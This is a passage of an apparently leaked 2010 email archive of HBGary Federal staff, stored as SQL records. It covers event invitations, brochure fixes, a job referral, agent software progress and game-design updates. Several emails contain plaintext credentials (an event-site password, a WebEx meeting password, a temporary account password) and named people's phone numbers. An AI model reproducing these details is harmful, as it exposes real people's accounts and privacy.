be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2616,'aaron_hbgary_com/2616.html'),(12402,'2010-09-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009156.M278068P14101Q7257.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','SM Training Brochure 25K Promo','',1552,'aaron_hbgary_com/1552.html'),(12403,'2010-09-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009156.M699389P14101Q7258.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','SM Training Brochure 25K Promo','',12146,'aaron_hbgary_com/12146.html'),(12404,'2010-09-29','\"Potomac Officers Club\" <support@potomacofficersclub.com>','/aaron@hbgary.com/new/1297009157.M198935P14101Q7260.eml','aaron@hbgary.com','Last Chance to Register!','\r\n\r\n\r\nPotomac Officers Club Invite\r\n\r\n\r\n\r\nWe are pleased to announce that security expert and former White House\r\nadvisor Richard Clarke will be speaking at our luncheon next week.  Richard\r\nClarke is an internationally-recognized expert on security, including\r\nhomeland security, national security, cyber security, and counterterrorism.\r\nHe is currently an on-air consultant for ABC News and teaches at Harvard\'s\r\nKennedy School of Government.\r\nMr. Clarke served the last three Presidents (George H.W. Bush, Bill\r\nClinton, and George W. Bush) as a senior White House Advisor. Over the\r\ncourse of an unprecedented 11 consecutive years of White House service, he\r\nheld the titles of: Special Assistant to the President for Global Affairs,\r\nNational Coordinator for Security and Counterterrorism and Special Advisor\r\nto the President for Cyber Security. He also wrote two authoritative books\r\non Cyber Security entitled \"Cyber War\" and \"Against all Enemies\".  You can\r\nreceive one of his books when you register for the event!\r\nYou will not want to miss this chance to hear from an extraordinary man\r\non this very relevant and topical subject.   Details of the event are\r\nincluded below.  PLEASE NOTE:  You are now required to enter your username\r\nand password to sign up for the event.  That information is contained below\r\nin this email for your ease!\r\nDate:  Tuesday, October 5th\r\nTime:  11:30 am (networking and registration) with lunch and speaker at\r\n12:00 pm  - 1:00 pm.\r\nLocation:  Tyson\'s Corner Ritz Carlton (Salon 3)\r\nLink to Register : http://www.potomacofficersclub.com/events/hxIfaLvMibUVqTAVR4F9/\r\nYour login information:\r\nUsername : aaron@hbgary.comPassword : KyCPx7T2\r\nWe hope to see you all there!\r\nThe Potomac Officers Club\r\nPS &ndash; as you may have noticed, the Potomac Officers Club has a new\r\n(and improved!) website.  Thank you very much for your patience and\r\ncooperation as we are still fine tuning all the features and we may\r\nexperience a few \"growing pains\" in the process.  We sincerely appreciate\r\nany comments or suggestions you might have.\r\nIf you are unable to attend this event and would like to be removed\r\nfrom future reminders, please click here.\r\n\r\n\r\n\r\n\r\n',10339,'aaron_hbgary_com/10339.html'),(12405,'2010-09-29','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297009157.M402429P14101Q7261.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: KippsDeSanto & Co. Advises Healthcare IT Firm, Buccaneer Computer Systems & Service, Inc., on its Sale to Vangent, Inc.','Did you send me this? ;)\r\n\r\n---------- Forwarded message ----------\r\nFrom: \"KippsDeSanto & Co.\" \r\nDate: Wed, 29 Sep 2010 08:06:26 -0400 (EDT)\r\nSubject: KippsDeSanto & Co. Advises Healthcare IT Firm, Buccaneer\r\nComputer Systems & Service, Inc., on its Sale to Vangent, Inc.\r\nTo: rich@hbgary.com\r\n\r\nHaving trouble viewing this email?\r\nClick here\r\nhttp://campaign.r20.constantcontact.com/render?llr=ifox7gdab&v=001M1I81bNGpIB8HsS90zfh4p3qlmFfto6dI8KI-dhQdm_66Xb2fnaVFarSH1-e3_L3jPBTp2VnKB8XJp3CwM5IeK7ND3pnN5fIxS7W2hLaK9_MMlC0s5vkohu30BFBykZVj5M6RN4QSLJb3pyT010YsA%3D%3D\r\n\r\n\r\nForward email\r\nhttp://ui.constantcontact.com/sa/fwtf.jsp?llr=ifox7gdab&m=1102964308136&ea=rich%40hbgary.com&a=1103727284414\r\n\r\n\r\n\r\n\r\n\r\nThis email was sent to rich@hbgary.com by kippsdesanto@kippsdesanto.com.\r\n\r\nUpdate Profile/Email Address\r\nhttp://visitor.r20.constantcontact.com/d.jsp?llr=ifox7gdab&p=oo&v=001HTk7N6nZumI6fbwTawUGJJj2H7xSWiYW8j0u9YzkphjCh3rYkF5X-6PunRDv71C0\r\n\r\n\r\nInstant removal with SafeUnsubscribe(TM)\r\nhttp://visitor.r20.constantcontact.com/d.jsp?llr=ifox7gdab&p=un&v=001HTk7N6nZumI6fbwTawUGJJj2H7xSWiYW8j0u9YzkphjCh3rYkF5X-6PunRDv71C0\r\n\r\n\r\nPrivacy Policy:\r\nhttp://ui.constantcontact.com/roving/CCPrivacyPolicy.jsp\r\n\r\n\r\n\r\n\r\nEmail Marketing by\r\nConstant Contact(R)\r\nwww.constantcontact.com\r\n\r\n\r\n\r\n\r\nKippsDeSanto & Co. | 1600 Tysons Boulevard | Suite 375 | McLean | VA | 22102\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nSent from my mobile device\r\n',10440,'aaron_hbgary_com/10440.html'),(12406,'2010-09-29','\"Madeline Ortiz\" <madeline@executivebiz.com>','/aaron@hbgary.com/new/1297009157.M5233P14101Q7259.eml','\"JD Kathuria\" <jd@executivebiz.com>','ExecutiveBiz Dinner Tonight.....','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\n4X24 Member: \r\n\r\nWe have you as confirmed to attend the 4\r\nX 24 Dinner tonight and are looking\r\nforward to seeing you! \r\n\r\n&nbsp;\r\n\r\nA\r\nreminder of the following: \r\n* Venue: Ritz-Carlton, Tysons Corner (Old Dominion Room, 4th Floor)\r\nlocated at 1700 Tysons Blvd, McLean, VA 22042.&nbsp;\r\n\r\n\r\n* Your group will be joint networking with Group 4 (a leadership group)in the\r\nOld Dominion Room from 5:30pm to 6:30pm. Dinner will begin at 6:30pm. The\r\nchairman of Group 4 is Mark Johnson of Oracle.\r\n\r\n* The guest speaker is\r\nMajor General Suzanne Vautrinot of US Cyber Command. Below is a link to her bio\r\nfor your review. \r\n\r\nhttp://www.af.mil/information/bios/bio.asp?bioID=8656\r\n\r\nIf you are unable to attend,\r\nplease let me know as soon as possible. \r\n\r\nIf you need to reach someone from ExecutiveBiz\r\nthis evening (after 4:30pm), please call or text JD\r\nKathuria directly on his cell phone (703-863-4274). \r\n\r\nThank you so much and I hope you\r\nhave an enjoyable dinner! \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMadeline\r\nOrtiz\r\n\r\nExecutive\r\nAdministrator\r\n\r\nExecutiveBiz\r\nand Executive Mosaic\r\n\r\n8230\r\n  Old Courthouse Road, Suite 460\r\n\r\nVienna,\r\n VA 22182 \r\n\r\nPhone:\r\n703-226-7006\r\n\r\nFax:\r\n703-752-7454 \r\n\r\n&nbsp;\r\n\r\nP Please consider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7925,'aaron_hbgary_com/7925.html'),(12407,'2010-09-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009157.M627583P14101Q7262.eml','rich@hbgary.com','Re: KippsDeSanto & Co. Advises Healthcare IT Firm, Buccaneer Computer Systems & Service, Inc., on its Sale to Vangent, Inc.','Lol.  No.\r\n\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 29, 2010, at 8:17 AM, Rich Cummings  wrote:\r\n\r\n> Did you send me this? ;)\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: \"KippsDeSanto & Co.\" \r\n> Date: Wed, 29 Sep 2010 08:06:26 -0400 (EDT)\r\n> Subject: KippsDeSanto & Co. Advises Healthcare IT Firm, Buccaneer\r\n> Computer Systems & Service, Inc., on its Sale to Vangent, Inc.\r\n> To: rich@hbgary.com\r\n>\r\n> Having trouble viewing this email?\r\n> Click here\r\n> http://campaign.r20.constantcontact.com/render?llr=ifox7gdab&v=001M1I81bNGpIB8HsS90zfh4p3qlmFfto6dI8KI-dhQdm_66Xb2fnaVFarSH1-e3_L3jPBTp2VnKB8XJp3CwM5IeK7ND3pnN5fIxS7W2hLaK9_MMlC0s5vkohu30BFBykZVj5M6RN4QSLJb3pyT010YsA%3D%3D\r\n>\r\n>\r\n> Forward email\r\n> http://ui.constantcontact.com/sa/fwtf.jsp?llr=ifox7gdab&m=1102964308136&ea=rich%40hbgary.com&a=1103727284414\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> This email was sent to rich@hbgary.com by kippsdesanto@kippsdesanto.com.\r\n>\r\n> Update Profile/Email Address\r\n> http://visitor.r20.constantcontact.com/d.jsp?llr=ifox7gdab&p=oo&v=001HTk7N6nZumI6fbwTawUGJJj2H7xSWiYW8j0u9YzkphjCh3rYkF5X-6PunRDv71C0\r\n>\r\n>\r\n> Instant removal with SafeUnsubscribe(TM)\r\n> http://visitor.r20.constantcontact.com/d.jsp?llr=ifox7gdab&p=un&v=001HTk7N6nZumI6fbwTawUGJJj2H7xSWiYW8j0u9YzkphjCh3rYkF5X-6PunRDv71C0\r\n>\r\n>\r\n> Privacy Policy:\r\n> http://ui.constantcontact.com/roving/CCPrivacyPolicy.jsp\r\n>\r\n>\r\n>\r\n>\r\n> Email Marketing by\r\n> Constant Contact(R)\r\n> www.constantcontact.com\r\n>\r\n>\r\n>\r\n>\r\n> KippsDeSanto & Co. | 1600 Tysons Boulevard | Suite 375 | McLean | VA | 22102\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Sent from my mobile device\r\n',13904,'aaron_hbgary_com/13904.html'),(12408,'2010-09-29','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297009157.M837230P14101Q7263.eml','\"Aaron Barr\" <aaron@hbgary.com>','ROMAS','\r\n\r\n\r\n\r\n\r\nROMAS\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nAny word on what ROMAS will be?&nbsp; What have you heard in your travels?\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',1109,'aaron_hbgary_com/1109.html'),(12409,'2010-09-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009158.M134294P14101Q7264.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: ROMAS','Hey chris. I am still in Seattle but meeting with John on Monday.AaronSent from my iPhoneOn Sep 29, 2010, at 8:40 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nAny word on what ROMAS will be?  What have you heard in your travels?\r\n\r\nThanks,\r\n\r\n      Chris\r\n__________________________________________________\r\n\r\n  \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5888,'aaron_hbgary_com/5888.html'),(12410,'2010-09-29','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009158.M348120P14101Q7265.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: SM Training Brochure 25K Promo','Both versions are all docs where text is.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 29, 2010 9:32 AM\r\nTo: Penny Leavy; Ted Vera\r\nSubject: SM Training Brochure 25K Promo\r\n\r\n\r\n\r\n',696,'aaron_hbgary_com/696.html'),(12411,'2010-09-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009158.M546562P14101Q7266.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: SM Training Brochure 25K Promo','Can u fix quickly on your end and send out.  I modified on my iPad and maybe that caused issues.  I don&#39;t have connectivity to fix on my laptop right now.Aaron\r\nSent from my iPhoneBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;Date: September 29, 2010 9:12:23 AM PDT\r\nTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;, &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Subject: RE: SM Training Brochure 25K Promo\r\nBoth versions are all docs where text is.  -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 29, 2010 9:32 AMTo: Penny Leavy; Ted VeraSubject: SM Training Brochure 25K Promo\r\n\r\n',2937,'aaron_hbgary_com/2937.html'),(12412,'2010-09-29','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297009158.M750562P14101Q7267.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ROMAS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCool &#8211; thanks.&nbsp; Hope it is not raining and the coffee\r\nis great.\r\n\r\n&nbsp;\r\n\r\nTalk to you soon,\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 29, 2010 11:43 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: ROMAS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey chris. I am still in Seattle but meeting with John on\r\nMonday.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 29, 2010, at 8:40 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nAny word on what ROMAS will\r\nbe?&nbsp; What have you heard in your travels?\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; |Chris Clair | Program Manager\r\n|\r\n703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4318,'aaron_hbgary_com/4318.html'),(12413,'2010-09-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009158.M962882P14101Q7268.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SM Training Brochure 25K Promo','It\'s doing the same thing on my end.  I open the pdf\'s and there is no\r\ntext.  I can\'t find the Pages version to fix it -- did you send it to\r\nme?\r\n\r\nOn Wed, Sep 29, 2010 at 12:16 PM, Aaron Barr  wrote:\r\n> Can u fix quickly on your end and send out.  I modified on my iPad and maybe\r\n> that caused issues.  I don\'t have connectivity to fix on my laptop right\r\n> now.\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n> Begin forwarded message:\r\n>\r\n> From: \"Penny Leavy-Hoglund\" \r\n> Date: September 29, 2010 9:12:23 AM PDT\r\n> To: \"\'Aaron Barr\'\" , \"\'Ted Vera\'\" \r\n> Subject: RE: SM Training Brochure 25K Promo\r\n>\r\n> Both versions are all docs where text is.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, September 29, 2010 9:32 AM\r\n> To: Penny Leavy; Ted Vera\r\n> Subject: SM Training Brochure 25K Promo\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',12874,'aaron_hbgary_com/12874.html'),(12414,'2010-09-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009159.M843673P14101Q7269.eml','\"Ted Vera\" <ted@hbgary.com>','SM Training Brochure 25K Promo','How is this?\r\n',4405,'aaron_hbgary_com/4405.html'),(12415,'2010-09-29','\"Paul Rooney\" <prooney3@csc.com>','/aaron@hbgary.com/new/1297009160.M133486P14101Q7270.eml','aaron@hbgary.com,aaron@hbgary.com','Get Together','\r\nAaron,\r\n\r\nBob and I would love to get together\r\nand catch up. Would you have time on 12 October, 1130 to 1230? You can\r\nchoose the location. \r\n\r\nThanks,\r\n\r\nPaul\r\n\r\nPaul Rooney\r\nDirector\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7303 &nbsp;c: 410-245-7904\r\nf: 443.445.7134\r\nprooney3@csc.com I www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.',7227,'aaron_hbgary_com/7227.html'),(12416,'2010-09-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009160.M352868P14101Q7271.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: TMC Agent','Begin forwarded message:From: Mark Trynor &lt;mark@hbgary.com&gt;Date: September 29, 2010 3:12:17 PM EDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: TMC AgentTed,How&#39;s the trip going?  I just compiled the tmc agent up with it&#39;s required libraries and executed on a complete test run.  It completed from uploading a file from the web interface to inserting the output into the database.  I have a list of things that are required on the tmc agent to function properly and am now going to add a few lines of code just to help logging and then it&#39;s on to building the web interface for the results.  My question is: what do we show?  I have all this data in the DB but what do you think the end user wants to see?\r\n\r\nThanks,Mark\r\n\r\n',1556,'aaron_hbgary_com/1556.html'),(12417,'2010-09-29','\"Matt Furman\" <matt_furman2005@yahoo.com>','/aaron@hbgary.com/new/1297009160.M566102P14101Q7272.eml','aaron@hbgary.com','Re: Please join now, meeting in progress: Gunwale Games','We\'re in and smiling--- On Wed, 9/29/10, Aaron Barr &lt;messenger@webex.com&gt; wrote:From: Aaron Barr &lt;messenger@webex.com&gt;Subject: Please join now, meeting in progress: Gunwale GamesTo: matt_furman2005@yahoo.comDate: Wednesday, September 29, 2010, 3:50 PM Hello ,   Please join my meeting that is currently in progress.   Topic: Gunwale Games  Date: Wednesday, September 29, 2010  Time: 5:50 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 576 251 648  Meeting Password: captains    -------------------------------------------------------  To join the\r\n online meeting (Now from the Apple iPhone (R) too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/e.php?AT=MI&amp;EventID=156446387&amp;UID=1172933032&amp;PW=NOTVkNzMzY2I4&amp;RT=MiMxMQ%3D%3D  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: captains  4. Click \"Join\".  5. Follow the instructions that appear on your screen.   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/e.php?AT=MI&amp;EventID=156446387&amp;UID=1172933032&amp;PW=NOTVkNzMzY2I4&amp;ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=156446387&amp;tollFree=0   Access code:576 251 648   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   aaron@hbgary.com    Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, discuss your concerns with the meeting host prior to the start of the recording\r\n or do not join the session. Please note that any such recordings may be subject to discovery in the event of litigation.  \r\n\r\n      ',16232,'aaron_hbgary_com/16232.html'),(12418,'2010-09-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009160.M828218P14101Q7273.eml','\"Barr Aaron\" <aaron@hbgary.com>','Joy','Did you forward her resume to Mantech? She hasn\'t been contacted yet.\r\n',13883,'aaron_hbgary_com/13883.html'),(12419,'2010-09-30','\"Aaron Spring via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297009161.M153429P14101Q7274.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Aaron Spring has indicated you are a Colleague at Northrop Grumman TASC:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Aaron Spring\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Aaron Spring\r\n         \r\n     \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n  \r\n\r\n',16645,'aaron_hbgary_com/16645.html'),(12420,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009161.M594219P14101Q7275.eml','\"Eric Eifert\" <eric.eifert@mantech.com>,\"Robert Frisbie\" <Robert.Frisbie@ManTech.com>','Fwd: Resume','Bob/Eric,\r\n\r\nThere is a position open in Colorado Springs for an administrative assistant.  Joy used to be Ted and my assistant and I can not speak highly enough of her.  She is highly intelligent, productive, and loyal as a bulldog.  Because of all of NG issues around the programs Ted and I used to run her position is being eliminated.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Ted Vera \r\n> Date: September 24, 2010 8:48:38 PM EDT\r\n> To: Barr Aaron \r\n> Subject: Resume\r\n> \r\n> Please pass along to Bob / etc.\r\n> \r\n> \r\n> Req ID	38663BR\r\n> Business Title	Administrative Assistant 2\r\n> Group	TSG\r\n> Location	COLORADO Colorado Springs\r\n> Clearance Level Needed	Secret\r\n> Category	Administrative Services\r\n> \r\n> \r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',1561,'aaron_hbgary_com/1561.html'),(12421,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009162.M506398P14101Q7276.eml','\"Matt Furman\" <matt_furman2005@yahoo.com>','Fwd: House with selection zodiac','Matt,3d file to follow.AaronBegin forwarded message:From: Greg Hoglund &lt;greg@gunwalegames.com&gt;Date: September 28, 2010 8:24:10 PM EDTTo: aaron@hbgary.comCc: martin@hbgary.com, shawn@hbgary.comSubject: House with selection zodiac&nbsp;\r\nAaron,\r\n&nbsp;\r\nThe attached screenshot shows the selection zodiac that will appear around a house if you right click on it.&nbsp; We figure right-click is the approach since right-click on most computer systems will reveal a pop-up menu.&nbsp; In the game, right clicking will cause the buildings control-panel to popup.&nbsp; The guys were working on the art assets for the GUI today and it looks pretty good.&nbsp; The zodiac is bold and would appear to float around the house, similar to how it appears in the screen shot.&nbsp; This should serve our needs for the moment.\r\n\r\n&nbsp;\r\nAnother small detail, you will notice that the house now has a little ground texture surrounding it\'s base.&nbsp; This was added so the house doesn\'t appear to \'float\' on the terrain.&nbsp; I have yet to see it in-client but I think it will be a nice touch.\r\n\r\n&nbsp;\r\n-Greg\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',15750,'aaron_hbgary_com/15750.html'),(12422,'2010-09-30','greg@gunwalegames.com','/aaron@hbgary.com/new/1297009162.M808962P14101Q7277.eml','aaron@hbgary.com','Welcome to Gunwale, LLC','Hi Aaron,\r\n\r\nYou have a new account at Gunwale, LLC.\r\n\r\nYour username is aaron and your temporary password is W75283.\r\nYour new email address is aaron@gunwalegames.com\r\n\r\nYou can sign in to Gunwale, LLC services at:\r\n\r\nhttp://www.google.com/a/gunwalegames.com\r\n',15610,'aaron_hbgary_com/15610.html'),(12423,'2010-09-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009163.M273310P14101Q7279.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: TMC Agent','DDNA score\r\nDDNA traits\r\nStrings in module\r\nWhat else is available?\r\n\r\nTv\r\n\r\nOn Sep 29, 2010, at 3:12 PM, Mark Trynor  wrote:\r\n\r\n> Ted,\r\n>\r\n> How\'s the trip going?  I just compiled the tmc agent up with it\'s required libraries and executed on a complete test run.  It completed from uploading a file from the web interface to inserting the output into the database.  I have a list of things that are required on the tmc agent to function properly and am now going to add a few lines of code just to help logging and then it\'s on to building the web interface for the results.  My question is: what do we show?  I have all this data in the DB but what do you think the end user wants to see?\r\n>\r\n> Thanks,\r\n> Mark\r\n>\r\n',14098,'aaron_hbgary_com/14098.html'),(12424,'2010-09-30','\"Greg Hoglund\" <greg@gunwalegames.com>','/aaron@hbgary.com/new/1297009163.M39427P14101Q7278.eml','aaron@hbgary.com','updates',' \r\nI updated the google docs, made a special doc for the proposal and put the user stories back to a user-story doc.  Your email is active now.\r\n \r\n-Greg\r\n',10960,'aaron_hbgary_com/10960.html'),(12425,'2010-09-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009163.M472515P14101Q7280.eml','\"John Verducci\" <john@studioem.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>,\"John Verducci\" <john@studioem.com>','viral marketing idea involving rap',' \r\nTeam,\r\n \r\nPlease watch this video.  It has the F word be warned.  http://www.youtube.com/watch?v=VgvM7av1o1Q\r\n \r\nThis is CCP.  They are a customer of HBGary&#39;s.  They are a game company, which might explain their off-the-wall antics.\r\n \r\nI watch this and imagine our people at HBGary talking shit about Chinese Hackers and how Mandiant can&#39;t touch us.  And yes, we use their First Name.  Guidance too.\r\n \r\nMaybe too bold, but I can&#39;t help but think the Jim&#39;s and Jeffrey&#39;s of the world would watch this and think &quot;Holy Shit HBGary is Core&quot;.  They would.  And it would be viral.  I can&#39;t help but think this would translate into more sales.\r\n\r\n \r\nCan we organize a music video like this?  Is this too left-field for a &quot;security company&quot;.  Why not - we are on the frontier - we are on the edge?\r\n \r\nCan we have something like this developed for less than $20,000 ??  Is this just a dumb idea?\r\n \r\n-Greg\r\n \r\nps. here is their outtake video - give you an idea how this was a real production (http://www.youtube.com/watch?v=g9E-iTpJ3U8)\r\n',15183,'aaron_hbgary_com/15183.html'),(12426,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009163.M702832P14101Q7281.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Joy','Yes.\r\n\r\nSent from my iPad\r\n\r\nOn Sep 29, 2010, at 3:18 PM, Ted Vera  wrote:\r\n\r\n> Did you forward her resume to Mantech? She hasn\'t been contacted yet.\r\n',7186,'aaron_hbgary_com/7186.html'),(12427,'2010-09-30','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297009163.M978723P14101Q7282.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','RE: Resume','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron.&nbsp; I will pass this along to my recruiter so he can\r\nget it in the hands of the hiring manager for this position.\r\n\r\n&nbsp;\r\n\r\nEric\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nEric J. Eifert\r\n\r\nVice President and General Manager, Cyber Defense Solutions\r\nBusiness Unit\r\n\r\nManTech Mission, Cyber and Technology Solutions\r\n\r\n(direct) 703-388-2127&nbsp;&nbsp; (cell) 703-966-9998&nbsp;&nbsp; (fax) 703-388-2148\r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of 